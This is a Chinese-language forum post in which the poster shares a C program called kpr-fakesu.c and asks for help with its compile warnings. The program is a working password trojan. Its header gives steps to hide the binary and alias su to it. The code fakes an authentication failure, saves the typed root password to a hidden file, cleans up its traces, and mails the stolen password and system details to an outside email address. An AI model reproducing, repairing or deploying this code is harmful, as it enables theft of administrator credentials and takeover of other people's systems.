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程序如下:
- /*
- * kpr-fakesu.c V0.9beta167 ;P
- * by koper <[email]koper@linuxmail.org[/email]>
- *
- * Setting up:
- * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
- * admin@host:~$ mv .su /var/tmp/.su
- * admin@host:~$ cp .bash_profile .wgetrc
- * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
- * admin@host:~$ logout
- * *** LOGIN ***
- * admin@host:~$ su
- * Password:
- * su: Authentication failure
- * Sorry.
- * admin@host:~$ su
- * Password:
- * root@host:~# logout
- * admin@host:~$ cat /var/tmp/.pwds
- * root:dupcia17
- * admin@host:~$
- *
- * /bin/su sends various failure information depending on the OS ver.
- * Please modify the source to make it "fit" ;)
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- main(int argc, char *argv[]){
- FILE *fp;
- char *user;
- char *pass;
- char filex[100];
- char clean[100];
- sprintf(filex,"/var/tmp/.pwds");
- sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
- if(argc==1) user="root";
- if(argc==2) user=argv[1];
- if(argc>2){
- if(strcmp(argv[1], "-l")==0)
- user=argv[2];
- else user=argv[1];}
- fprintf(stdout,"Password: "); pass=getpass ("");
- system("sleep 3");
- fprintf(stdout,"su: Authentication failure\nSorry.\n");
- if ((fp=fopen(filex,"w")) != NULL)
- {
- fprintf(fp, "%s:%s\n", user, pass);
- fclose(fp);
- }
- system(clean);
- system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
- /* If you don't want password in your e-mail uncomment this line: */
- system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email]kalikosta@hotmail.com[/email]");
- }
复制代码
但是就是出错:
[test@sz root]$ gcc su.c
su.c: In function `main':
su.c:48: warning: assignment makes pointer from integer without a cast
[test@sz root]$ uname -a
Linux sz 2.4.21-27.ELsmp #1 SMP Wed Dec 1 21:59:02 EST 2004 i686 i686 i386 GNU/Linux
有些程序可以编译成功,但有的不行。而且不少有报“.c: In function `main':
不知是为什么?如何解决?谢谢!
[ 本帖最后由 l0pht 于 2008-2-20 00:14 编辑 ] |
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